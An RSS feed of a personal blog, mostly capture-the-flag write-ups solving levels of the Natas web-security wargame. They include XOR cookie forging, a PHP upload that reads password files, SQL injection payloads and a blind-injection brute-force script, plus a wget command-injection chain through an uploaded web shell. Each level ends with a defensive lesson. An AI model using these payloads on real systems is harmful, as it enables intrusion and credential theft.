﻿<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>Colourblind</title>
    <link>http://monochromacy.net</link>
    <description>Version 2.0</description>
    <copyright>Copyright Tom Milsom 2009-2011</copyright>
    <generator>DieBlogDie</generator>
    <item>
      <title>Doin' the legacy mambo</title>
      <link>http://monochromacy.net/ViewPost.aspx?PostId=47</link>
      <description>&lt;div class="code"&gt;
&lt;pre&gt;strSQL = "EXEC SelectAllFromTable_stp 'Inspector_tbl'"&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;It's going to be a long day . . .&lt;/p&gt;</description>
      <pubDate>Thu, 03 Jan 2013 11:01:30 GMT</pubDate>
    </item>
    <item>
      <title>Natas CTF - Levels 11 to 16</title>
      <link>http://monochromacy.net/ViewPost.aspx?PostId=46</link>
      <description>&lt;p&gt;As promised, here's the remaining levels of Over the Wire's &lt;a href="http://www.overthewire.org/wargames/natas/"&gt;Natas CTF&lt;/a&gt;. The first levels can be found &lt;a href="/Post/Natas-CTF---Levels-0-to-10.aspx"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Obviously, spoilers ahoy . . .&lt;/p&gt;
&lt;p align="center"&gt;******************************************************&lt;/p&gt;
&lt;h3&gt;Level 11&lt;/h3&gt;
&lt;p&gt;So let's talk about XOR encryption.&lt;/p&gt;
&lt;p&gt;If P is our plaintext, K is our key and C is our ciphertext, then the following is true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;P ^ K = C&lt;/li&gt;
&lt;li&gt;C ^ K = P&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;P ^ C = K&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What does this mean? This means that it's trivial to get the key used to encrypt a message with a known plaintext attack. If we know what's going in and we know what's coming out then we can extract the key. Once we have the key we can encrypt our own messages.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   1:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; base64&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   2:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   3:   &lt;/span&gt;cipher &lt;span class="op"&gt;=&lt;/span&gt; base64&lt;span class="op"&gt;.&lt;/span&gt;b64decode&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw='&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   4:   &lt;/span&gt;clear &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;'{"showpassword":"no","bgcolor":"#ffffff"}'&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   5:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   6:   &lt;/span&gt;result &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;''&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   7:   &lt;/span&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt; i &lt;span class="kwrd"&gt;in&lt;/span&gt; range&lt;span class="op"&gt;(&lt;/span&gt;len&lt;span class="op"&gt;(&lt;/span&gt;clear&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   8:   &lt;/span&gt;    result &lt;span class="op"&gt;=&lt;/span&gt; result &lt;span class="op"&gt;+&lt;/span&gt; chr&lt;span class="op"&gt;(&lt;/span&gt;ord&lt;span class="op"&gt;(&lt;/span&gt;cipher&lt;span class="op"&gt;[&lt;/span&gt;i&lt;span class="op"&gt;]&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;^&lt;/span&gt; ord&lt;span class="op"&gt;(&lt;/span&gt;clear&lt;span class="op"&gt;[&lt;/span&gt;i&lt;span class="op"&gt;]&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   9:   &lt;/span&gt;&lt;span class="kwrd"&gt;print&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;result&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;What this will spit out is the same string, repeated over and over. This is our key. So now we know the key we can encrypt our own string, place it into the cookie and reload the page.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   1:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; base64&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   2:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   3:   &lt;/span&gt;payload &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;'{"showpassword":"yes","bgcolor":"#ffffff"}'&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   4:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   5:   &lt;/span&gt;key &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;'KEY_HERE'&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   6:   &lt;/span&gt;out &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;''&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   7:   &lt;/span&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt; i &lt;span class="kwrd"&gt;in&lt;/span&gt; range&lt;span class="op"&gt;(&lt;/span&gt;len&lt;span class="op"&gt;(&lt;/span&gt;payload&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   8:   &lt;/span&gt;    out &lt;span class="op"&gt;=&lt;/span&gt; out &lt;span class="op"&gt;+&lt;/span&gt; chr&lt;span class="op"&gt;(&lt;/span&gt;ord&lt;span class="op"&gt;(&lt;/span&gt;payload&lt;span class="op"&gt;[&lt;/span&gt;i&lt;span class="op"&gt;]&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;^&lt;/span&gt; ord&lt;span class="op"&gt;(&lt;/span&gt;key&lt;span class="op"&gt;[&lt;/span&gt;i &lt;span class="op"&gt;%&lt;/span&gt; len&lt;span class="op"&gt;(&lt;/span&gt;key&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;]&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   9:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  10:   &lt;/span&gt;&lt;span class="kwrd"&gt;print&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;base64&lt;span class="op"&gt;.&lt;/span&gt;b64encode&lt;span class="op"&gt;(&lt;/span&gt;out&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Trusting client input, again.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't trust the client blah blah blah. I'm getting bored of saying that. Also, don't use an XOR cipher for anything. Ever.&lt;/p&gt;
&lt;h3&gt;Level 12&lt;/h3&gt;
&lt;p&gt;File uploads are always ripe for exploitable, because they allow you to get your own code onto the target machine. We know from the pre-amble on the homepage that the list of passwords can be found in /etc/natas_webpass, so let's go get it.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;&amp;lt;?php
    readfile('/etc/natas_webpass/natas13');&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;We also have to manipulate the filename that will be used when it's uploaded so that it's saved with a PHP extension and is therefore executed as such by the server. Luckily for us they include the filename that will be used by the when the upload is saved as a hidden form field. I have no idea why. Either way, we can change that on-the-fly using a proxy like Fiddler, or doctor the form in the page using Firebug. Or just do it all on the command line with wget or curl.&lt;/p&gt;
&lt;p&gt;Either way, once your file is uploaded, browse to it's location to get your next password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Executable rights on the upload folder.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Limit the folder to read and write. Oh, and just for a change don't trust anything the client sends you (the filename, in this case).&lt;/p&gt;
&lt;h3&gt;Level 13&lt;/h3&gt;
&lt;p&gt;This is very similar to the previous level, except that the server attempts to verify that the file is a JPEG using PHP's &lt;a href="http://php.net/manual/en/function.exif-imagetype.php"&gt;exif_imagetype()&lt;/a&gt; function. A little bit of research tells us that the function works by checking for the presence of the JPEG signature in the first 4 bytes of the file.&lt;/p&gt;
&lt;p&gt;It's trivial to add the JPEG signature (there are several I ended up using 0xffd8ffe0) to the front of your uploaded file before the first PHP tag and then just perform the same steps as level 12.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; See above.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; See above.&lt;/p&gt;
&lt;h3&gt;Level 14&lt;/h3&gt;
&lt;p&gt;Ah, there had to be a SQL injection problem in here somewhere!&lt;/p&gt;
&lt;p&gt;Since the query is being built by nailing user-supplied input directly into the SQL we can break out of the expected query and bend it to our will. For example, if instead of supplying a password I enter the following:&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;" or 1 or "&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;The query being sent from the database now turns from something like this:&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;SELECT * from users where username="foo" and password="bar"&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Into this:&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;SELECT * from users where username="foo" and password="" or 1 or ""&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;Since this query will always return rows, the check will pass and we'll get our next password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Never build your SQL through raw string concatenation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution: &lt;/strong&gt; Stored procedures, parameterised queries, ORMs, data abstraction. It's actually more difficult to be vulnerable to this stuff than it to be secure these days.&lt;/p&gt;
&lt;h3&gt;Level 15&lt;/h3&gt;
&lt;p&gt;More database password shenanigans, but since the result of the query is never dumped to the page, we have to be a little more sneaky. The code is still vulnerable to SQLi, so we can test abritrary passwords easily enough using the following (the gubbins on the end finishes the query and causes the rest to be treated a comment so we don't end up with a malformed request to the database):&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;natas16" and password="foo";#&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;This will tell us the user doesn't exist if we guessed incorrectly. We can iterate through all of the potential passwords (let's go with the assumption the password follows the same format as the previous levels), but while brute-forcing in this way is possible, it's not viable. The worse-case scenario is that we'd have to test pow(62, 32) possibilities (which causes my calculator to run out of digits).&lt;/p&gt;
&lt;p&gt;Thankfully we can use SQLi to check the characters of the password one at a time using SQL's LIKE operator. For example, if we enter the following as input:&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;natas16" and password like "a%";#&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;then we'll get a response from the server with either a yay or a nay. If we keep going we'll eventually get told the user exists once we've tried 3%, so we know the first character of the password is 3. We can now start on 3a% and work towards the second character. This allows us to check the characters of the password one at a time, so our search space is 62 * 32 passwords, which is much more civilised.&lt;/p&gt;
&lt;p&gt;So here's what we end up with, using ye olde urllib, since I keep forgetting to install &lt;a href="http://docs.python-requests.org/en/latest/"&gt;requests&lt;/a&gt;.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   1:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; urllib2&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   2:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; time&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   3:   &lt;/span&gt;&lt;span class="kwrd"&gt;import&lt;/span&gt; sys&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   4:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   5:   &lt;/span&gt;chars &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   6:   &lt;/span&gt;headers&lt;span class="op"&gt;=&lt;/span&gt;&lt;span class="op"&gt;{&lt;/span&gt;&lt;span class="str"&gt;'Authorization'&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt; &lt;span class="str"&gt;'Basic bmF0YXMxNTptMmF6bGw3Skg2SFM4QXkzU09qRzNBR0dsREdUSlNUVg=='&lt;/span&gt;&lt;span class="op"&gt;}&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   7:   &lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   8:   &lt;/span&gt;found &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;''&lt;/span&gt; &lt;span class="kwrd"&gt;if&lt;/span&gt; len&lt;span class="op"&gt;(&lt;/span&gt;sys&lt;span class="op"&gt;.&lt;/span&gt;argv&lt;span class="op"&gt;)&lt;/span&gt; &lt;span class="op"&gt;==&lt;/span&gt; &lt;span class="str"&gt;1&lt;/span&gt; &lt;span class="kwrd"&gt;else&lt;/span&gt; sys&lt;span class="op"&gt;.&lt;/span&gt;argv&lt;span class="op"&gt;[&lt;/span&gt;&lt;span class="str"&gt;1&lt;/span&gt;&lt;span class="op"&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;   9:   &lt;/span&gt;&lt;span class="kwrd"&gt;for&lt;/span&gt; i &lt;span class="kwrd"&gt;in&lt;/span&gt; range&lt;span class="op"&gt;(&lt;/span&gt;len&lt;span class="op"&gt;(&lt;/span&gt;found&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;,&lt;/span&gt; &lt;span class="str"&gt;32&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  10:   &lt;/span&gt;    &lt;span class="kwrd"&gt;for&lt;/span&gt; j &lt;span class="kwrd"&gt;in&lt;/span&gt; range&lt;span class="op"&gt;(&lt;/span&gt;len&lt;span class="op"&gt;(&lt;/span&gt;chars&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  11:   &lt;/span&gt;        attempt &lt;span class="op"&gt;=&lt;/span&gt; found &lt;span class="op"&gt;+&lt;/span&gt; chars&lt;span class="op"&gt;[&lt;/span&gt;j&lt;span class="op"&gt;]&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  12:   &lt;/span&gt;        query &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;"natas16%22%20and%20password%20like%20binary%20%22"&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; attempt &lt;span class="op"&gt;+&lt;/span&gt; &lt;span class="str"&gt;"%25%22%20%23"&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  13:   &lt;/span&gt;        url &lt;span class="op"&gt;=&lt;/span&gt; &lt;span class="str"&gt;"http://natas15.natas.labs.overthewire.org/?debug&amp;amp;username="&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; query&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  14:   &lt;/span&gt;        request &lt;span class="op"&gt;=&lt;/span&gt; urllib2&lt;span class="op"&gt;.&lt;/span&gt;Request&lt;span class="op"&gt;(&lt;/span&gt;url&lt;span class="op"&gt;,&lt;/span&gt; headers&lt;span class="op"&gt;=&lt;/span&gt;headers&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  15:   &lt;/span&gt;        response &lt;span class="op"&gt;=&lt;/span&gt; urllib2&lt;span class="op"&gt;.&lt;/span&gt;urlopen&lt;span class="op"&gt;(&lt;/span&gt;request&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  16:   &lt;/span&gt;        result &lt;span class="op"&gt;=&lt;/span&gt; response&lt;span class="op"&gt;.&lt;/span&gt;read&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  17:   &lt;/span&gt;        &lt;span class="kwrd"&gt;if&lt;/span&gt; &lt;span class="str"&gt;'This user exists'&lt;/span&gt; &lt;span class="kwrd"&gt;in&lt;/span&gt; result&lt;span class="op"&gt;:&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  18:   &lt;/span&gt;            found &lt;span class="op"&gt;=&lt;/span&gt; attempt&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  19:   &lt;/span&gt;            &lt;span class="kwrd"&gt;break&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  20:   &lt;/span&gt;        response&lt;span class="op"&gt;.&lt;/span&gt;close&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  21:   &lt;/span&gt;        time&lt;span class="op"&gt;.&lt;/span&gt;sleep&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;0.5&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  22:   &lt;/span&gt;        sys&lt;span class="op"&gt;.&lt;/span&gt;stdout&lt;span class="op"&gt;.&lt;/span&gt;write&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'.'&lt;/span&gt;&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;span class="lnum"&gt;  23:   &lt;/span&gt;    &lt;span class="kwrd"&gt;print&lt;/span&gt;&lt;span class="op"&gt;(&lt;/span&gt;&lt;span class="str"&gt;'\n'&lt;/span&gt; &lt;span class="op"&gt;+&lt;/span&gt; found&lt;span class="op"&gt;)&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;No real mystery in that code. It works through the password one character at a time, moving on to the next one whenever it finds a match. The only crafty bit in here is the use of the BINARY keyword to force a case sensitive search.&lt;/p&gt;
&lt;p&gt;Start this running, and then find some way to kill time until it's worked its magic.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; SQL injection, again.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; As above, if you're still vulnerable to SQLi in this day and age you should be tarred and feathered.&lt;/p&gt;
&lt;h3&gt;Level 16&lt;/h3&gt;
&lt;p&gt;It's a return to the halcyon days of levels 9 and 10!&lt;/p&gt;
&lt;p&gt;If we take a closer look at the way the command is constructed we can see that dollar sign is missing from the blacklist. This means it's vulnerable to the use of $() for command substitution. The issue comes in how we exfiltrate the data . . .&lt;/p&gt;
&lt;p&gt;Thankfully we can execute whatever code we want on the server as a result of Level 12. So I slung up a script that simply calls the PHP function &lt;a href="http://php.net/manual/en/function.passthru.php"&gt;passthru&lt;/a&gt; (which we came across in Level 12 and essentially runs arbitrary commands), taking it's input directly from the querystring. This is scrappier than it needs to be; I could have use a more specific script here, but it took me a while to get to the solution and this was part of a more general attempt.&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;$(wget --user=natas12 --password=sh7DrWKtb8xw9PIMkh8OQsgno6iZnJQu 
--header=Host:natas12.natas.labs.overthewire.org 
http://localhost/upload/YOUR_SCRIPT.php?cmd=echo%20$(cat /etc/natas_webpass/natas17)%20%3E%20woot.txt)&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;So it's all a bit matryoshka, but essentially this uses command substitution to execute wget, making a call to our command line script from level 12. We use command substitution a second time to grab the contents of the /etc/natas_webpass/natas17 file, so once we've done the second substitution and cleaned up the URL encoding the command which is run on the level 12 server is actually this:&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;echo ZE_PASSWORD &amp;gt; woot.txt&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;You can then simply browse to the woot.txt file on natas12 and collect our final flag!&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Same issues as level 10.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Aaaand the same solutions.&lt;/p&gt;
&lt;p align="center"&gt;******************************************************&lt;/p&gt;
&lt;p&gt;All in all it was a fun CTF with a pretty decent difficulty curve, and I'll probably go back and try out some of their others off the back of this.&lt;/p&gt;</description>
      <pubDate>Fri, 07 Dec 2012 12:01:10 GMT</pubDate>
    </item>
    <item>
      <title>Natas CTF - Levels 0 to 10</title>
      <link>http://monochromacy.net/ViewPost.aspx?PostId=45</link>
      <description>&lt;p&gt;In the last year or so I've become quite enamoured with netsec &lt;a href="http://en.wikipedia.org/wiki/Capture_the_flag#Computer_security"&gt;capture the flag&lt;/a&gt; games, after stumbling across the &lt;a href="https://stripe.com/blog/capture-the-flag"&gt;first Stripe CTF&lt;/a&gt; earlier in the year. Since then I did the &lt;a href="https://stripe.com/blog/capture-the-flag-20"&gt;second Stripe CTF&lt;/a&gt; and have been chugging through &lt;a href="http://io.smashthestack.org:84/"&gt;Smash The Stack's IO&lt;/a&gt;. I always find myself learning a lot and enjoying the challenges, even if it means learning gdb from scratch pretty much every time. That stuff just doesn't seem to stick.&lt;/p&gt;
&lt;p&gt;Anyhoo, the latest one I've been playing with is the &lt;a href="http://www.overthewire.org/wargames/natas/"&gt;Natas CTF&lt;/a&gt; from Over The Wire. The first levels are pitched at people looking to learn the basics, although shit gets real from level 11 and up, so I'll cover solutions for up to level 10 for now and fill in the others in a later post, since they're a lot more involved.&lt;/p&gt;
&lt;p&gt;It goes without saying that &lt;em&gt;here be spoilers&lt;/em&gt; . . .&lt;/p&gt;
&lt;p align="center"&gt;******************************************************&lt;/p&gt;
&lt;h3&gt;Level 0&lt;/h3&gt;
&lt;p&gt;The password for the next level is in a comment of the HTML, so view source and we're good to go. Yeah, this stuff starts pretty gently.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; The key is right there in the HTML.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't put the key in the HTML. Srsly.&lt;/p&gt;
&lt;h3&gt;Level 1&lt;/h3&gt;
&lt;p&gt;Same again, but we can't right-click and get to the context menu to view the source. We can disable Javascript in the browser. We can snag the response from the wire with a proxy. We can use wget. Or just use the menus like your grandma. That's what I did.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Relying on Javascript for security.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't send anything to the client that you don't want them to see. Trivial, but meh. Also, Javascript is easy to disable. Don't make it something your system depends upon. That includes data validation. By all means use it to report failures to the user early, but you need to replicate that validation on the server.&lt;/p&gt;
&lt;h3&gt;Level 2&lt;/h3&gt;
&lt;blockquote&gt;There is nothing on this page&lt;/blockquote&gt;
&lt;p&gt;OK, now we're getting somewhere. Viewing the HTML will reveal a 1x1 pixel image with the path /files/pixel.png. Point your client at /files/ and we find that the directory is browsable. Open users.txt for the sweet, sweet passwordy goodness.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Not browsable directories (although the use-case for them is pretty small - just turn them off), but rather putting sensitive information below the webroot.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't do it.&lt;/p&gt;
&lt;h3&gt;Level 3&lt;/h3&gt;
&lt;blockquote&gt;&amp;lt;!-- No more information leaks!! Not even Google will find it this time... --&amp;gt;&lt;/blockquote&gt;
&lt;p&gt;Viewing source this time reveals this clue. The hint is the reference to Google. Browse to /robots.txt to see which URLs are explicitly blocked to web crawlers, and then refer to the previous level.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; robots.txt is for making things not appear in search engines (&lt;em&gt;as long as they honour it&lt;/em&gt;), not hiding things. If your security depends entirely making it available for the world but assuming people won't find it, then you're bad and you should feel bad. Source: &lt;a href="http://en.wikipedia.org/wiki/Security_through_obscurity"&gt;reality&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Same as above. Don't make your super squirrel secrets servable.&lt;/p&gt;
&lt;h3&gt;Level 4&lt;/h3&gt;
&lt;blockquote&gt;Access disallowed. You are visiting from "" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/"&lt;/blockquote&gt;
&lt;p&gt;The most obvious way to establish this is to check the Referrer (or Referer, because HTTP can't spell), so we'll need to manually tweak the HTTP headers of the request. I ended up using &lt;a href="http://www.fiddler2.com/fiddler2/"&gt;Fiddler&lt;/a&gt; for this, although there's several Firefox plugins for modifying headers, and you can do the same with curl or wget. Set the Referer header to "http://natas5.natas.labs.overthewire.org/", and &lt;a href="https://www.youtube.com/watch?v=aBsNe8xcwAg"&gt;open sesame&lt;/a&gt;!&lt;/p&gt;
&lt;div class="code"&gt;
&lt;pre&gt;wget --user=natas4 --password=PREVIOUS_LEVELS_PASSWORD
    --referer=http://natas5.natas.labs.overthewire.org/ 
    http://natas4.natas.labs.overthewire.org/&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Trusting what the client is sending you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't do it. More specifically: if you really, really need to know where a user came from you'll need to put something in their session - session! not cookie! If it's across applications then it starts to get complicated and will involve links containing tokens or tracking Javascript in one or the other domain.&lt;/p&gt;
&lt;h3&gt;Level 5&lt;/h3&gt;
&lt;blockquote&gt;Access disallowed. You are not logged in&lt;/blockquote&gt;
&lt;p&gt;Ruh roh.&lt;/p&gt;
&lt;p&gt;There's not a lot to go on here, so let's check the usual suspects. Persistence generally means cookies, and the &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/web-developer/"&gt;Web Developer&lt;/a&gt; addon for Firefox allows us to view and edit cookies for a page, among its many talents.&lt;/p&gt;
&lt;p align="center"&gt;&lt;img src="/Resources/natas5.png" /&gt;&lt;/p&gt;
&lt;p&gt;Edit, you say? Why yes, I think I shall. Set it to 1, reload the page and the key is yours.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Trusting what the client is sending you.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Don't do it. More specifically: if you really, really need to know where a user came from you'll need to put something in their session - session! not cookie! If it's across applications then it starts to get complicated.&lt;/p&gt;
&lt;h3&gt;Level 6&lt;/h3&gt;
&lt;p&gt;This one is essentially the same as levels 2 and 3, with some PHP in the way to muddy the waters. Browse to the file specified in the source and then enter it as the password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Sharing your source code?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; Know where your secrets are. I've checked passwords I shouldn't have into open source repositories before myself. Put it in config files or the database.&lt;/p&gt;
&lt;h3&gt;Level 7&lt;/h3&gt;
&lt;p&gt;The 'page' parameter in the querystring is vulnerable to local file inclusion. We know that the flags are stored in /etc/natas_webpass/natasX (where X is the level number). So by browsing to /index.php?page=/etc/natas_webpass/natas8 we get to see the next flag.&lt;/p&gt;
&lt;p&gt;For shits and giggles you can also include anything else in the file system which you have read access to. /etc/passwd? You got it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The mistake:&lt;/strong&gt; Directory traversal.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The solution:&lt;/strong&gt; At the very least normalise the path and make sure they're staying in the webroot, although it's better to make the user-supplied parameter a key into a lookup so they can only browse to fixed values. And forcing the extension of the parameter on the server side would help. Either which way, you're basically reinventing the CMS.&lt;/p&gt;
&lt;h3&gt;Level 8&lt;/h3&gt;
